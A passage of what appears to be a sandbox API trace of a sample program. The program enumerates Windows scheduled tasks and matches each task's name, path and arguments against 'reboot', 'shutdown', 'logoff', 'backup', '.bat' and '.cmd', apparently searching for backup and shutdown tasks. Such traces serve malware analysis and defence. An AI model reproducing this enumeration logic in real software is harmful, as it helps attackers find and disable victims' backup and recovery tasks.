IUnknown:Release (This=0x47fd00) returned 0x0 [0181.508] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0181.508] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xa, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0181.508] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x47fcb8) returned 0x0 [0181.509] IRegisteredTaskCollection:get_Count (in: This=0x47fcb8, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0181.509] IUnknown:Release (This=0x47fcb8) returned 0x0 [0181.509] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fcb8) returned 0x0 [0181.509] ITaskFolderCollection:get_Count (in: This=0x47fcb8, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0181.509] IUnknown:Release (This=0x47fcb8) returned 0x0 [0181.509] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0181.509] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xb, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0181.509] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x47fcf8) returned 0x0 [0181.510] IRegisteredTaskCollection:get_Count (in: This=0x47fcf8, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0181.510] IRegisteredTaskCollection:get_Item (in: This=0x47fcf8, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47fd80) returned 0x0 [0181.510] IRegisteredTask:get_Name (in: This=0x47fd80, pName=0x5cf9f8 | out: pName=0x5cf9f8*="Notifications") returned 0x0 [0181.510] IRegisteredTask:get_State (in: This=0x47fd80, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0181.511] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1c) returned 0x6f3e58 [0181.511] wcsstr (_Str="notifications", _SubStr="reboot") returned 0x0 [0181.511] wcsstr (_Str="notifications", _SubStr="restart") returned 0x0 [0181.511] wcsstr (_Str="notifications", _SubStr="shutdown") returned 0x0 [0181.511] wcsstr (_Str="notifications", _SubStr="logoff") returned 0x0 [0181.511] wcsstr (_Str="notifications", _SubStr=".bat") returned 0x0 [0181.511] wcsstr (_Str="notifications", _SubStr="backup") returned 0x0 [0181.511] wcsstr (_Str="notifications", _SubStr=".cmd") returned 0x0 [0181.511] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3e58) returned 1 [0181.511] IRegisteredTask:get_Definition (in: This=0x47fd80, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x47fe30) returned 0x0 [0181.516] ITaskDefinition:get_Actions (in: This=0x47fe30, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47fea8) returned 0x0 [0181.516] IActionCollection:get_Count (in: This=0x47fea8, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0181.516] IActionCollection:get_Item (in: This=0x47fea8, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x24635b8) returned 0x0 [0181.516] IAction:get_Type (in: This=0x24635b8, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0181.516] IUnknown:QueryInterface (in: This=0x24635b8, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x24635b8) returned 0x0 [0181.516] IExecAction:get_Path (in: This=0x24635b8, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%windir%\\System32\\LocationNotifications.exe") returned 0x0 [0181.516] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x58) returned 0x6f7808 [0181.516] wcsstr (_Str="%windir%\\system32\\locationnotifications.exe", _SubStr="reboot") returned 0x0 [0181.516] wcsstr (_Str="%windir%\\system32\\locationnotifications.exe", _SubStr="restart") returned 0x0 [0181.516] wcsstr (_Str="%windir%\\system32\\locationnotifications.exe", _SubStr="shutdown") returned 0x0 [0181.516] wcsstr (_Str="%windir%\\system32\\locationnotifications.exe", _SubStr="logoff") returned 0x0 [0181.516] wcsstr (_Str="%windir%\\system32\\locationnotifications.exe", _SubStr=".bat") returned 0x0 [0181.516] wcsstr (_Str="%windir%\\system32\\locationnotifications.exe", _SubStr="backup") returned 0x0 [0181.516] wcsstr (_Str="%windir%\\system32\\locationnotifications.exe", _SubStr=".cmd") returned 0x0 [0181.516] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f7808) returned 1 [0181.517] IExecAction:get_Arguments (in: This=0x24635b8, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*=0x0) returned 0x0 [0181.517] IUnknown:Release (This=0x24635b8) returned 0x2 [0181.517] IUnknown:Release (This=0x24635b8) returned 0x1 [0181.517] IUnknown:Release (This=0x47fea8) returned 0x1 [0181.517] IUnknown:Release (This=0x47fe30) returned 0x0 [0181.517] IUnknown:Release (This=0x47fd80) returned 0x0 [0181.517] IUnknown:Release (This=0x47fcf8) returned 0x0 [0181.517] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fcf8) returned 0x0 [0181.517] ITaskFolderCollection:get_Count (in: This=0x47fcf8, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0181.517] IUnknown:Release (This=0x47fcf8) returned 0x0 [0181.517] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0181.517] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0181.517] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x47fd00) returned 0x0 [0181.518] IRegisteredTaskCollection:get_Count (in: This=0x47fd00, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0181.518] IRegisteredTaskCollection:get_Item (in: This=0x47fd00, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47fd88) returned 0x0 [0181.518] IRegisteredTask:get_Name (in: This=0x47fd88, pName=0x5cf9f8 | out: pName=0x5cf9f8*="WinSAT") returned 0x0 [0181.518] IRegisteredTask:get_State (in: This=0x47fd88, pState=0x5cf9fc | out: pState=0x5cf9fc*=1) returned 0x0 [0181.519] IUnknown:Release (This=0x47fd88) returned 0x0 [0181.519] IUnknown:Release (This=0x47fd00) returned 0x0 [0181.519] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fd00) returned 0x0 [0181.520] ITaskFolderCollection:get_Count (in: This=0x47fd00, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0181.520] IUnknown:Release (This=0x47fd00) returned 0x0 [0181.520] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0181.520] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xd, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0181.520] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x47fd00) returned 0x0 [0181.522] IRegisteredTaskCollection:get_Count (in: This=0x47fd00, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=21) returned 0x0 [0181.522] IRegisteredTaskCollection:get_Item (in: This=0x47fd00, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47fd88) returned 0x0 [0181.522] IRegisteredTask:get_Name (in: This=0x47fd88, pName=0x5cf9f8 | out: pName=0x5cf9f8*="ActivateWindowsSearch") returned 0x0 [0181.522] IRegisteredTask:get_State (in: This=0x47fd88, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0181.523] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2c) returned 0x6caa98 [0181.523] wcsstr (_Str="activatewindowssearch", _SubStr="reboot") returned 0x0 [0181.523] wcsstr (_Str="activatewindowssearch", _SubStr="restart") returned 0x0 [0181.523] wcsstr (_Str="activatewindowssearch", _SubStr="shutdown") returned 0x0 [0181.523] wcsstr (_Str="activatewindowssearch", _SubStr="logoff") returned 0x0 [0181.523] wcsstr (_Str="activatewindowssearch", _SubStr=".bat") returned 0x0 [0181.523] wcsstr (_Str="activatewindowssearch", _SubStr="backup") returned 0x0 [0181.523] wcsstr (_Str="activatewindowssearch", _SubStr=".cmd") returned 0x0 [0181.523] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6caa98) returned 1 [0181.523] IRegisteredTask:get_Definition (in: This=0x47fd88, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x47fe48) returned 0x0 [0181.530] ITaskDefinition:get_Actions (in: This=0x47fe48, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47fec0) returned 0x0 [0181.530] IActionCollection:get_Count (in: This=0x47fec0, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0181.530] IActionCollection:get_Item (in: This=0x47fec0, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x24634e0) returned 0x0 [0181.530] IAction:get_Type (in: This=0x24634e0, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0181.530] IUnknown:QueryInterface (in: This=0x24634e0, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x24634e0) returned 0x0 [0181.530] IExecAction:get_Path (in: This=0x24634e0, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\ehPrivJob.exe") returned 0x0 [0181.530] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x42) returned 0x6e7270 [0181.530] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="reboot") returned 0x0 [0181.530] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="restart") returned 0x0 [0181.530] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="shutdown") returned 0x0 [0181.530] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="logoff") returned 0x0 [0181.530] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".bat") returned 0x0 [0181.530] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="backup") returned 0x0 [0181.530] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".cmd") returned 0x0 [0181.530] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e7270) returned 1 [0181.530] IExecAction:get_Arguments (in: This=0x24634e0, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="/DoActivateWindowsSearch") returned 0x0 [0181.531] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x32) returned 0x6c9c90 [0181.531] wcsstr (_Str="/doactivatewindowssearch", _SubStr="reboot") returned 0x0 [0181.531] wcsstr (_Str="/doactivatewindowssearch", _SubStr="restart") returned 0x0 [0181.531] wcsstr (_Str="/doactivatewindowssearch", _SubStr="shutdown") returned 0x0 [0181.531] wcsstr (_Str="/doactivatewindowssearch", _SubStr="logoff") returned 0x0 [0181.531] wcsstr (_Str="/doactivatewindowssearch", _SubStr=".bat") returned 0x0 [0181.531] wcsstr (_Str="/doactivatewindowssearch", _SubStr="backup") returned 0x0 [0181.531] wcsstr (_Str="/doactivatewindowssearch", _SubStr=".cmd") returned 0x0 [0181.531] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c9c90) returned 1 [0181.531] IUnknown:Release (This=0x24634e0) returned 0x2 [0181.531] IUnknown:Release (This=0x24634e0) returned 0x1 [0181.531] IUnknown:Release (This=0x47fec0) returned 0x1 [0181.531] IUnknown:Release (This=0x47fe48) returned 0x0 [0181.531] IUnknown:Release (This=0x47fd88) returned 0x0 [0181.531] IRegisteredTaskCollection:get_Item (in: This=0x47fd00, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47fd88) returned 0x0 [0181.531] IRegisteredTask:get_Name (in: This=0x47fd88, pName=0x5cf9f8 | out: pName=0x5cf9f8*="ConfigureInternetTimeService") returned 0x0 [0181.531] IRegisteredTask:get_State (in: This=0x47fd88, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0181.532] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x3a) returned 0x6c28f0 [0181.533] wcsstr (_Str="configureinternettimeservice", _SubStr="reboot") returned 0x0 [0181.533] wcsstr (_Str="configureinternettimeservice", _SubStr="restart") returned 0x0 [0181.533] wcsstr (_Str="configureinternettimeservice", _SubStr="shutdown") returned 0x0 [0181.533] wcsstr (_Str="configureinternettimeservice", _SubStr="logoff") returned 0x0 [0181.533] wcsstr (_Str="configureinternettimeservice", _SubStr=".bat") returned 0x0 [0181.533] wcsstr (_Str="configureinternettimeservice", _SubStr="backup") returned 0x0 [0181.533] wcsstr (_Str="configureinternettimeservice", _SubStr=".cmd") returned 0x0 [0181.533] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c28f0) returned 1 [0181.533] IRegisteredTask:get_Definition (in: This=0x47fd88, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x47fdd0) returned 0x0 [0181.538] ITaskDefinition:get_Actions (in: This=0x47fdd0, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47fe48) returned 0x0 [0181.538] IActionCollection:get_Count (in: This=0x47fe48, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0181.538] IActionCollection:get_Item (in: This=0x47fe48, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463438) returned 0x0 [0181.538] IAction:get_Type (in: This=0x2463438, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0181.538] IUnknown:QueryInterface (in: This=0x2463438, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463438) returned 0x0 [0181.538] IExecAction:get_Path (in: This=0x2463438, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\ehPrivJob.exe") returned 0x0 [0181.538] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x42) returned 0x6e7270 [0181.538] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="reboot") returned 0x0 [0181.538] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="restart") returned 0x0 [0181.538] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="shutdown") returned 0x0 [0181.538] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="logoff") returned 0x0 [0181.538] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".bat") returned 0x0 [0181.538] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="backup") returned 0x0 [0181.538] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".cmd") returned 0x0 [0181.538] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e7270) returned 1 [0181.538] IExecAction:get_Arguments (in: This=0x2463438, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="/DoConfigureInternetTimeService") returned 0x0 [0181.538] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x40) returned 0x6c28f0 [0181.538] wcsstr (_Str="/doconfigureinternettimeservice", _SubStr="reboot") returned 0x0 [0181.538] wcsstr (_Str="/doconfigureinternettimeservice", _SubStr="restart") returned 0x0 [0181.538] wcsstr (_Str="/doconfigureinternettimeservice", _SubStr="shutdown") returned 0x0 [0181.538] wcsstr (_Str="/doconfigureinternettimeservice", _SubStr="logoff") returned 0x0 [0181.538] wcsstr (_Str="/doconfigureinternettimeservice", _SubStr=".bat") returned 0x0 [0181.538] wcsstr (_Str="/doconfigureinternettimeservice", _SubStr="backup") returned 0x0 [0181.538] wcsstr (_Str="/doconfigureinternettimeservice", _SubStr=".cmd") returned 0x0 [0181.538] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c28f0) returned 1 [0181.538] IUnknown:Release (This=0x2463438) returned 0x2 [0181.538] IUnknown:Release (This=0x2463438) returned 0x1 [0181.538] IUnknown:Release (This=0x47fe48) returned 0x1 [0181.538] IUnknown:Release (This=0x47fdd0) returned 0x0 [0181.538] IUnknown:Release (This=0x47fd88) returned 0x0 [0181.539] IRegisteredTaskCollection:get_Item (in: This=0x47fd00, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47fd88) returned 0x0 [0181.539] IRegisteredTask:get_Name (in: This=0x47fd88, pName=0x5cf9f8 | out: pName=0x5cf9f8*="DispatchRecoveryTasks") returned 0x0 [0181.539] IRegisteredTask:get_State (in: This=0x47fd88, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0181.540] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2c) returned 0x6caa98 [0181.540] wcsstr (_Str="dispatchrecoverytasks", _SubStr="reboot") returned 0x0 [0181.540] wcsstr (_Str="dispatchrecoverytasks", _SubStr="restart") returned 0x0 [0181.540] wcsstr (_Str="dispatchrecoverytasks", _SubStr="shutdown") returned 0x0 [0181.540] wcsstr (_Str="dispatchrecoverytasks", _SubStr="logoff") returned 0x0 [0181.540] wcsstr (_Str="dispatchrecoverytasks", _SubStr=".bat") returned 0x0 [0181.540] wcsstr (_Str="dispatchrecoverytasks", _SubStr="backup") returned 0x0 [0181.540] wcsstr (_Str="dispatchrecoverytasks", _SubStr=".cmd") returned 0x0 [0181.540] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6caa98) returned 1 [0181.540] IRegisteredTask:get_Definition (in: This=0x47fd88, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x47fe48) returned 0x0 [0181.545] ITaskDefinition:get_Actions (in: This=0x47fe48, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47fec0) returned 0x0 [0181.545] IActionCollection:get_Count (in: This=0x47fec0, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0181.545] IActionCollection:get_Item (in: This=0x47fec0, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x24634e0) returned 0x0 [0181.545] IAction:get_Type (in: This=0x24634e0, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0181.545] IUnknown:QueryInterface (in: This=0x24634e0, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x24634e0) returned 0x0 [0181.545] IExecAction:get_Path (in: This=0x24634e0, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\ehPrivJob.exe") returned 0x0 [0181.545] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x42) returned 0x6e7270 [0181.545] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="reboot") returned 0x0 [0181.545] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="restart") returned 0x0 [0181.545] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="shutdown") returned 0x0 [0181.545] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="logoff") returned 0x0 [0181.545] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".bat") returned 0x0 [0181.545] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="backup") returned 0x0 [0181.545] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".cmd") returned 0x0 [0181.545] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e7270) returned 1 [0181.545] IExecAction:get_Arguments (in: This=0x24634e0, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="/DoRecoveryTasks $(Arg0)") returned 0x0 [0181.545] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x32) returned 0x6c9c90 [0181.545] wcsstr (_Str="/dorecoverytasks $(arg0)", _SubStr="reboot") returned 0x0 [0181.545] wcsstr (_Str="/dorecoverytasks $(arg0)", _SubStr="restart") returned 0x0 [0181.545] wcsstr (_Str="/dorecoverytasks $(arg0)", _SubStr="shutdown") returned 0x0 [0181.545] wcsstr (_Str="/dorecoverytasks $(arg0)", _SubStr="logoff") returned 0x0 [0181.545] wcsstr (_Str="/dorecoverytasks $(arg0)", _SubStr=".bat") returned 0x0 [0181.545] wcsstr (_Str="/dorecoverytasks $(arg0)", _SubStr="backup") returned 0x0 [0181.545] wcsstr (_Str="/dorecoverytasks $(arg0)", _SubStr=".cmd") returned 0x0 [0181.545] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c9c90) returned 1 [0181.545] IUnknown:Release (This=0x24634e0) returned 0x2 [0181.545] IUnknown:Release (This=0x24634e0) returned 0x1 [0181.545] IUnknown:Release (This=0x47fec0) returned 0x1 [0181.545] IUnknown:Release (This=0x47fe48) returned 0x0 [0181.546] IUnknown:Release (This=0x47fd88) returned 0x0 [0181.546] IRegisteredTaskCollection:get_Item (in: This=0x47fd00, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47fd88) returned 0x0 [0181.546] IRegisteredTask:get_Name (in: This=0x47fd88, pName=0x5cf9f8 | out: pName=0x5cf9f8*="ehDRMInit") returned 0x0 [0181.546] IRegisteredTask:get_State (in: This=0x47fd88, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0181.547] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x14) returned 0x6e6ad0 [0181.547] wcsstr (_Str="ehdrminit", _SubStr="reboot") returned 0x0 [0181.547] wcsstr (_Str="ehdrminit", _SubStr="restart") returned 0x0 [0181.547] wcsstr (_Str="ehdrminit", _SubStr="shutdown") returned 0x0 [0181.547] wcsstr (_Str="ehdrminit", _SubStr="logoff") returned 0x0 [0181.547] wcsstr (_Str="ehdrminit", _SubStr=".bat") returned 0x0 [0181.547] wcsstr (_Str="ehdrminit", _SubStr="backup") returned 0x0 [0181.547] wcsstr (_Str="ehdrminit", _SubStr=".cmd") returned 0x0 [0181.547] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6ad0) returned 1 [0181.547] IRegisteredTask:get_Definition (in: This=0x47fd88, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x47fe38) returned 0x0 [0181.553] ITaskDefinition:get_Actions (in: This=0x47fe38, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47feb0) returned 0x0 [0181.553] IActionCollection:get_Count (in: This=0x47feb0, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0181.553] IActionCollection:get_Item (in: This=0x47feb0, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x24634a8) returned 0x0 [0181.553] IAction:get_Type (in: This=0x24634a8, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0181.553] IUnknown:QueryInterface (in: This=0x24634a8, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x24634a8) returned 0x0 [0181.553] IExecAction:get_Path (in: This=0x24634a8, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\ehPrivJob.exe") returned 0x0 [0181.553] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x42) returned 0x6e7270 [0181.553] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="reboot") returned 0x0 [0181.553] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="restart") returned 0x0 [0181.553] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="shutdown") returned 0x0 [0181.553] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="logoff") returned 0x0 [0181.553] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".bat") returned 0x0 [0181.553] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="backup") returned 0x0 [0181.553] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".cmd") returned 0x0 [0181.553] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e7270) returned 1 [0181.553] IExecAction:get_Arguments (in: This=0x24634a8, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="/DRMInit") returned 0x0 [0181.553] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x12) returned 0x6e6ad0 [0181.553] wcsstr (_Str="/drminit", _SubStr="reboot") returned 0x0 [0181.553] wcsstr (_Str="/drminit", _SubStr="restart") returned 0x0 [0181.553] wcsstr (_Str="/drminit", _SubStr="shutdown") returned 0x0 [0181.553] wcsstr (_Str="/drminit", _SubStr="logoff") returned 0x0 [0181.553] wcsstr (_Str="/drminit", _SubStr=".bat") returned 0x0 [0181.553] wcsstr (_Str="/drminit", _SubStr="backup") returned 0x0 [0181.553] wcsstr (_Str="/drminit", _SubStr=".cmd") returned 0x0 [0181.553] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6ad0) returned 1 [0181.554] IUnknown:Release (This=0x24634a8) returned 0x2 [0181.554] IUnknown:Release (This=0x24634a8) returned 0x1 [0181.554] IUnknown:Release (This=0x47feb0) returned 0x1 [0181.554] IUnknown:Release (This=0x47fe38) returned 0x0 [0181.554] IUnknown:Release (This=0x47fd88) returned 0x0 [0181.554] IRegisteredTaskCollection:get_Item (in: This=0x47fd00, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47fd88) returned 0x0 [0181.554] IRegisteredTask:get_Name (in: This=0x47fd88, pName=0x5cf9f8 | out: pName=0x5cf9f8*="InstallPlayReady") returned 0x0 [0181.554] IRegisteredTask:get_State (in: This=0x47fd88, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0182.089] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x22) returned 0x6c88f8 [0182.089] wcsstr (_Str="installplayready", _SubStr="reboot") returned 0x0 [0182.089] wcsstr (_Str="installplayready", _SubStr="restart") returned 0x0 [0182.089] wcsstr (_Str="installplayready", _SubStr="shutdown") returned 0x0 [0182.089] wcsstr (_Str="installplayready", 